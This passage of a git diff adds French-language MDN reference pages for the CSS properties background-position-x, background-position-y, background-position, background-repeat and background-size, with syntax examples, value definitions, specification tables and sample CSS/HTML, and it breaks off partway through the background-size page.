+<div class="note"><strong>Note : </strong>La valeur de cette propriété sera surchargée par n'importe quelle déclaration avec  {{cssxref("background")}} ou {{cssxref("background-position")}} située après la déclaration de <code>background-position-x</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+background-position-x: left;
+background-position-x: right;
+background-position-x: center;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+background-position-x: 25%;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+background-position-x: 0px;
+background-position-x: 1cm;
+background-position-x: 8em;
+
+/* Déclaration indiquant un décalage  */
+/* relatif à un des côtés de la boîte */
+background-position-x: right 3px;
+
+/* Gestion de plusieurs valeurs */
+/* pour plusieurs arrières-plan */
+background-position-x: 0px, center;
+
+/* Valeurs globales */
+background-position-x: inherit;
+background-position-x: initial;
+background-position-x: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>Le bord gauche de l'image d'arrière-plan est aligné avec le bord gauche de la zone dédiée à l'arrière-plan.</dd>
+ <dt><code>center</code></dt>
+ <dd>L'image d'arrière-plan est centrée horizontalement par rapport à la zone dédiée à l'arrière-plan.</dd>
+ <dt><code>right</code></dt>
+ <dd>Le côté droit de l'image d'arrière-plan est aligné avec le côté droit de la zone dédiée à l'arrière-plan.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) qui définit le décalage horizontal de l'arrière-plan correspondant par rapport à un bord vertical de la zone d'arrière-plan. Si aucun côté n'est indiqué, l'écart fera référence au côté gauche.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur en pourcentages (type {{cssxref("&lt;percentage&gt;")}}) qui définit le décalage horizontal de l'arrière-plan correspondant par rapport à un bord vertical de la zone d'arrière-plan, proportionnellement à la largeur de la zone. Si aucun côté n'est indiqué, l'écart fera référence au côté gauche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Backgrounds', '#background-position-longhands', 'background-position-x')}}</td>
+   <td>{{Spec2('CSS4 Backgrounds')}}</td>
+   <td>Spécification initiale pour les propriétés détaillées de {{cssxref("background-position")}}, implémentée depuis longtemps.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos <em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-position-x")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-position-inline")}}</li>
+ <li>{{cssxref("background-position-block")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Utiliser_des_fonds_multiples">Manipuler plusieurs arrière-plans</a></li>
+</ul>
diff --git a/files/fr/web/css/background-position-y/index.html b/files/fr/web/css/background-position-y/index.html
new file mode 100644
index 0000000000..f7cb19173f
--- /dev/null
+++ b/files/fr/web/css/background-position-y/index.html
@@ -0,0 +1,107 @@
+---
+title: background-position-y
+slug: Web/CSS/background-position-y
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-position-y
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-position-y</code></strong> définit la position verticale initiale de chaque image d'arrière-plan. La position est relative à l'origine définie par {{cssxref("background-origin")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-position-y.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note : </strong>La valeur de cette propriété sera surchargée par n'importe quelle déclaration avec  {{cssxref("background")}} ou {{cssxref("background-position")}} située après la déclaration.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+background-position-y: top;
+background-position-y: bottom;
+background-position-y: center;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+background-position-y: 25%;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+background-position-y: 0px;
+background-position-y: 1cm;
+background-position-y: 8em;
+
+/* Déclaration indiquant un décalage  */
+/* relatif à un des côtés de la boîte */
+background-position-y: bottom 3px;
+background-position-y: bottom 10%;
+
+/* Gestion de plusieurs valeurs */
+/* pour plusieurs arrières-plan */
+background-position-y: 0px, center;
+
+/* Valeurs globales */
+background-position-y: inherit;
+background-position-y: initial;
+background-position-y: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>top</code></dt>
+ <dd>Le bord haut de l'image d'arrière-plan est aligné avec le bord haut de la zone dédiée à l'arrière-plan.</dd>
+ <dt><code>center</code></dt>
+ <dd>L'image d'arrière-plan est centrée verticalement par rapport à la zone dédiée à l'arrière-plan.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Le bas de l'image d'arrière-plan est aligné avec le bas de la zone dédiée à l'arrière-plan.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) qui définit le décalage vertical de l'arrière-plan correspondant par rapport au bord haut de la zone d'arrière-plan. Si aucun côté n'est indiqué, l'écart fera référence au bord haut. Certains navigateurs permettent d'indiquer un décalage par rapport au côté bas.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur en pourcentages (type {{cssxref("&lt;percentage&gt;")}}) qui définit le décalage vertical de l'arrière-plan correspondant par rapport à un bord horizontal de la zone d'arrière-plan, proportionnellement à la hauteur de la zone. Si aucun côté n'est indiqué, l'écart fera référence au bord haut. Une valeur de 100% indique que le bas de l'image d'arrière-plan sera aligné avec le bas du conteneur et une valeur de 50% centrera l'image.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Backgrounds', '#background-position-longhands', 'background-position-y')}}</td>
+   <td>{{Spec2('CSS4 Backgrounds')}}</td>
+   <td>Spécification initiale pour les propriétés détaillées de {{cssxref("background-position")}}, implémentée depuis longtemps.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos <em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-position-y")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-position-x")}}</li>
+ <li>{{cssxref("background-position-inline")}}</li>
+ <li>{{cssxref("background-position-block")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Utiliser_des_fonds_multiples">Manipuler plusieurs arrière-plans</a></li>
+</ul>
diff --git a/files/fr/web/css/background-position/index.html b/files/fr/web/css/background-position/index.html
new file mode 100644
index 0000000000..106dc30a38
--- /dev/null
+++ b/files/fr/web/css/background-position/index.html
@@ -0,0 +1,197 @@
+---
+title: background-position
+slug: Web/CSS/background-position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-position</code></strong> permet de définir la position initiale, relative à l'origine définie par {{cssxref("background-origin")}}, pour chaque image d'arrière-plan.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-position.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs utilisant un mot-clé */
+background-position: top;
+background-position: bottom;
+background-position: left;
+background-position: right;
+background-position: center;
+
+/* Valeurs proportionnelles à la boîte */
+/* Type &lt;percentage&gt;                   */
+background-position: 25% 75%;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+background-position: 0 0;
+background-position: 1cm 2cm;
+background-position: 10ch 8em;
+
+/* Plusieurs valeurs pour plusieurs arrières-plans */
+background-position: 0 0, center;
+
+/* Valeurs exprimant un décalage relatif aux côtés */
+background-position: bottom 10px right 20px;
+background-position: right 3em bottom 10px;
+background-position: bottom 10px right;
+background-position: top right 10px;
+
+/* Valeurs globales */
+background-position: inherit;
+background-position: initial;
+background-position: unset;
+</pre>
+
+<p>La propriété <code>background-position</code> peut être définie grâce à une ou plusieurs valeurs <code><a href="#&lt;position>">&lt;position&gt;</a></code>, séparées par des virgules.</p>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><a id="&lt;position>" name="&lt;position>"><code>&lt;position&gt;</code></a></dt>
+ <dd>Une valeur {{cssxref("&lt;position&gt;")}}. Une position définit un couple de coordonnées XY qui permet de placer un objet par rapport aux bords de la boîte d'un élément. Une position peut être définie avec une ou deux valeurs.La première correspond à la position horizontale et la seconde à la position verticale.</dd>
+ <dd>
+ <p><strong>Définition avec une valeur :</strong> la valeur peut être :</p>
+
+ <ul>
+  <li>Le mot-clé <code>center</code> qui centre l'image.</li>
+  <li>Un mot-clé parmi <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>. Ce mot-clé indique le bord par rapport auquel placer l'élément. Pour l'autre dimension, on utilisera la moitié de la boîte (50%).</li>
+  <li>Une longeur ({{cssxref("&lt;length&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Cette valeur définit l'abscisse du point par rapport au bord gauche. L'ordonnée est fixée à 50%.</li>
+ </ul>
+
+ <p><strong>Définition avec deux valeurs :</strong> la première valeur définit l'abscisse (la coordonnée horizontale X) et la seconde définit l'ordonnée (la coordonnée verticale Y). Chaque valeur peut être :</p>
+
+ <ul>
+  <li>Un des mots-clés parmi <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>. Si <code>left</code> ou <code>right</code> est utilisé, la valeur définit l'abscisse et l'autre définira l'ordonnée. Si <code>top</code> ou <code>bottom</code> est indiqué, cette valeur définira l'ordonnée et l'autre valeur définira X.</li>
+  <li>Une valeur de longueur ({{cssxref("&lt;length&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Si l'autre valeur vaut <code>left</code> ou <code>right</code>, cette valeur définira l'ordonnée par rapport au bord haut. Si l'autre valeur est <code>top</code> ou <code>bottom</code>,  cette valeur définira l'abscisse relativement au bord gauche. Si les deux valeurs sont des longueurs ou des pourcentages, la première définira l'abscisse et la seconde l'ordonnée.</li>
+ </ul>
+
+ <p>On notera que :</p>
+
+ <ul>
+  <li>si une valeur est <code>top</code> ou <code>bottom</code>, la seconde ne peut pas être <code>top</code> ou <code>bottom</code>.</li>
+  <li>si une valeur est <code>left</code> ou <code>right</code>, la seconde ne peut pas être <code>left</code> ou <code>right</code>.</li>
+ </ul>
+
+ <p>Autrement dit "<code>top top"</code> ou "<code>left right</code>" seront considérées comme invalides.</p>
+
+ <p><strong>À propos des pourcentages :</strong> lorsqu'on exprime un décalage en pourcentage, ce dernier est relatif au conteneur. Ainsi, une valeur de 0% indiquera que le côté gauche (ou haut) du bord de l'image est aligné avec le bord gauche (ou haut) du conteneur. Une valeur de 100% indiquera que le côté droit (ou bas) de l'image d'arrière-plan est alignée avec le bord droit (ou bas) du conteneur. Une valeur de 50% permettra de centrer l'image.</p>
+
+ <p>Autrement dit, lorsqu'on utilise un pourcentage, celui-ci s'inscrit dans la formule suivante :</p>
+
+ <p><code>(largeur conteneur - largeur image) * (position en %) = (décalage horizontal)</code><br>
+  <code>(hauteur conteneur - hauteur image) * (position en %) = (décalage vertical)</code>.</p>
+
+ <p>On notera donc que si l'image d'arrière-plan a les mêmes dimensions que le conteneur, les valeurs en pourcentage pour <code>background-position</code> n'auront aucun effet. Il faudra utiliser des valeurs absolues pour décaler l'image.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_utilisant_plusieurs_images">Exemples utilisant plusieurs images</h3>
+
+<p>Dans cet exemple, on a trois éléments jaunes qui ont chacun une étoile située différemment. Le rectangle final possède deux images d'arrière-plan, chacune à une position différente.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+  background-color: #FFEE99;
+  background-repeat: no-repeat;
+  width: 300px;
+  height: 80px;
+  margin-bottom: 12px;
+}
+
+/* On utilise la propriété raccourcie background */
+.exemple_un {
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat;
+}
+.exemple_deux {
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 3em 50% no-repeat;
+}
+
+/*
+Plusieurs images d'arrière-plan chacune positionnée
+différemment, on voit les virgules dans les déclarations.
+L'ordre est le même entre background-image et -position.
+*/
+.exemple_trois {
+  background-image:    url("https://mdn.mozillademos.org/files/11987/startransparent.gif"),
+                       url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-position: 0px 0px,
+                       center;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="exemple_un"&gt;Premier exemple&lt;/div&gt;
+&lt;div class="exemple_deux"&gt;Deuxième exemple&lt;/div&gt;
+&lt;div class="exemple_trois"&gt;Troisième exemple&lt;/div&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemples', 420, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#background-position', 'background-position')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>La gestion de plusieurs arrières-plans a été ajoutée. La syntaxe avec quatre valeurs a été ajoutée. La définition des valeurs en pourcentages a été modifiée pour correspondre aux implémentations.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-position', 'background-position')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Cette spécification permet de mélanger les valeurs qui sont des mots-clés, les valeurs de type {{cssxref("&lt;length&gt;")}} et {{cssxref("&lt;percentage&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-position', 'background-position')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos <em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-position")}}</p>
+
+<h3 id="Notes_relatives_à_Quantum_CSS">Notes relatives à Quantum CSS</h3>
+
+<ul>
+ <li>Un bug de Gecko empêche la transition de <code>background-position</code> entre deux valeurs qui contiennent différents nombres de valeurs {{cssxref("&lt;position&gt;")}} (par exemple <code>background-position: 10px 10px;</code> d'une part et <code>background-position: 20px 20px, 30px 30px;</code> d'autre part) (cf. {{bug(1390446)}}). Le nouveau moteur CSS de Firefox (appelé <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> ou <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, prévu pour Firefox 57) corrige ce problème.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Utiliser_des_fonds_multiples">Gérer plusieurs arrières-plans</a></li>
+ <li>{{cssxref("background-position-x")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-position-inline")}}</li>
+ <li>{{cssxref("background-position-block")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+</ul>
diff --git a/files/fr/web/css/background-repeat/index.html b/files/fr/web/css/background-repeat/index.html
new file mode 100644
index 0000000000..de3634fb94
--- /dev/null
+++ b/files/fr/web/css/background-repeat/index.html
@@ -0,0 +1,234 @@
+---
+title: background-repeat
+slug: Web/CSS/background-repeat
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-repeat
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-repeat</code></strong> définit la façon dont les images utilisées en arrière-plan sont répétées. Une image d'arrière-plan pourra ainsi être répétée sur l'axe horizontal, l'axe vertical ou bien ne pas être répétée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-repeat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Par défaut, les images répétées sont rognées à la taille de l'élément mais elles peuvent être redimensionnées pour occuper l'espace avec un nombre entier de répétitions (<code>round</code>) voire être distribuées avec des espaces entre les motifs pour remplir la zone (<code>space</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+background-repeat: repeat-x;
+background-repeat: repeat-y;
+background-repeat: repeat;
+background-repeat: space;
+background-repeat: round;
+background-repeat: no-repeat;
+
+/* Syntaxe avec deux valeurs        */
+/* Première valeur : axe horizontal */
+/* Seconde valeur : axe vertical    */
+background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* Valeurs globales */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>Un mot-clé qui peut être utilisé dans la syntaxe à une valeur ou à deux valeurs. La syntaxe utilisant une valeur est une notation raccourcie dont voici le tableau de correspondance :</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><strong>Une seule valeur</strong></td>
+    <td><strong>Équivalent avec deux-valeurs</strong></td>
+   </tr>
+   <tr>
+    <td><code>repeat-x</code></td>
+    <td><code>repeat no-repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat-y</code></td>
+    <td><code>no-repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat</code></td>
+    <td><code>repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td><code>space space</code></td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td><code>round round</code></td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td><code>no-repeat no-repeat</code></td>
+   </tr>
+  </tbody>
+ </table>
+ Lorsqu'on utilise la syntaxe à deux valeurs, la première indique la méthode de répétition pour l'axe horizontal et la seconde celle pour l'axe vertical. Voici un tableau décrivant chacune des options :</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>repeat</code></td>
+    <td>L'image est répétée autant de fois que nécessaire pour recouvrir la zone dédiée à l'arrière-plan. La dernière image sera rognée si nécessaire.</td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td>L'image est répétée autant que possible sans rognage. La première et la dernière image sont accolées aux bords de l'élément et des espaces sont repartis de façon égale entre les images. La propriété {{cssxref("background-position")}} est ignorée sauf s'il n'y a qu'une seule image qui puisse être affichée sans être rognée. Le seul cas où <code>space</code> est utilisé et qu'une image est rognée se produit lorsque l'image est trop grande pour être affichée.</td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td>L'image est répétée autant que possible et est étirée si nécessaire afin qu'il n'y ait ni rognage ni espace restant. Dès qu'il y a la place d'ajouter une image, les autres sont compressées pour lui laisser la place. Ainsi, une image avec une largeur originale de 260px, répétée trois fois, pourra être étirée pour que chaque exemplaire mesure 300 pixels de large, lorsqu'une autre image sera ajoutée, elles seront compressées sur 225 pixels.</td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td>Il n'y a aucune répétition de l'image (dès lors, il est possible que toute la zone ne soit pas recouverte par cette image). La position de l'image est définie grâce à la propriété {{cssxref("background-position")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Commun à tous les DIVS */
+ol, li {
+  margin: 0;
+  padding: 0;
+}
+li {
+  margin-bottom: 12px;
+}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 160px;
+    height: 70px;
+}
+
+/* background repeat CSS */
+.one {
+    background-repeat: no-repeat;
+}
+.two {
+    background-repeat: repeat;
+}
+.three {
+    background-repeat: repeat-x;
+}
+.four {
+    background-repeat: repeat-y;
+}
+
+.five {
+   background-repeat: space;
+}
+
+.six {
+   background-repeat: round;
+}
+
+/* Plusieurs images */
+.seven {
+    background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                       url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+    background-repeat: repeat-x,
+                       repeat-y;
+    height: 144px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+    &lt;li&gt;no-repeat
+        &lt;div class="one"&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat
+        &lt;div class="two"&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-x
+        &lt;div class="three"&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-y
+        &lt;div class="four"&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;space
+        &lt;div class="five"&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;round
+        &lt;div class="six"&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-x, repeat-y (plusieurs images)
+        &lt;div class="seven"&gt;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Dans cet exemple, chaque élément de la liste illustre une valeur différente de <code>background-repeat</code>.</p>
+
+<p>{{EmbedLiveSample('Exemples', 240, 560)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Ajout de la prise en charge de plusieurs images d'arrière-plan. La syntaxe avec deux valeurs permet d'avoir des motifs de répétition différents pour les deux axes. Les mots-clés <code>space</code> et <code>round</code> sont ajoutés. La définition de la zone de dessin pour l'arrière-plan est mieux définie pour les éléments en ligne.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos <em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-repeat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Utiliser_des_fonds_multiples">Utiliser plusieurs arrières-plans en CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/background-size/index.html b/files/fr/web/css/background-size/index.html
new file mode 100644
index 0000000000..e3c5fdd761
--- /dev/null
+++ b/files/fr/web/css/background-size/index.html
@@ -0,0 +1,267 @@
+---
+title: background-size
+slug: Web/CSS/background-size
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-size
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>background-size</code></strong> définit la taille des images d'arrière-plan pour l'élément. La taille de l'image peut être contrainte, complètement ou partiellement afin de conserver ses proportions.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'espace qui n'est pas rempli par l'image d'arrière-plan aura la couleur définie par la propriété {{cssxref("background-color")}}. De plus, la couleur d'arrière-plan sera visible si l'image d'arrière-plan est transparente.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+background-size: cover;
+background-size: contain;
+
+/* Une seule valeur                         */
+/* La valeur désigne la largeur de l'image. */
+/* La hauteur vaut 'auto'.                  */
+background-size: 50%;
+background-size: 3.2em;
+background-size: 12px;
+background-size: auto;
+
+/* Deux valeurs                            */
+/* Première valeur : la largeur de l'image */
+/* Seconde valeur : la hauteur de l'image  */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* Valeurs pour plusieurs arrière-plans */
+background-size: auto, auto; /* À ne pas confondre avec `auto auto` */
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* Valeurs globales */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+</pre>
+
+<p>La propriété <code>background-size</code> peut être définie de différentes façons :</p>
+
+<ul>
+ <li>Avec l'un des mots-clés <code><a href="#contain">contain</a></code> ou <code><a href="#cover">cover</a></code>.</li>
+ <li>Avec une seule valeur qui indique la largeur de l'image (la hauteur vaut alors <code><a href="#auto">auto</a></code> par défaut)</li>
+ <li>Avec deux valeurs dont la première représente la largeur et la seconde la hauteur. Chaque valeur peut être une longueur (type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}}) ou encore <code><a href="#auto">auto</a></code>.</li>
+</ul>
+
+<p>Lorsqu'on souhaite paramétrer la taillle de plusieurs images d'arrière-plan, on peut séparer ces valeurs par des virgules (l'ordre utilisé entre les valeurs suit celui de {{cssxref("background-image")}}).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt id="contain"><code>contain</code></dt>
+ <dd>Un mot-clé qui redimensionne l'image afin qu'elle soit la plus grande possible et que l'image conserve ses proportions. L'image est contrainte dans le conteneur. Les zones éventuellement vide sont remplies avec la couleur d'arrière-plan (définie grâce à {{cssxref("background-color")}}). Par défaut, l'image est centrée sauf si {{cssxref("background-position")}} a été modifiée.</dd>
+ <dt id="cover"><code>cover</code></dt>
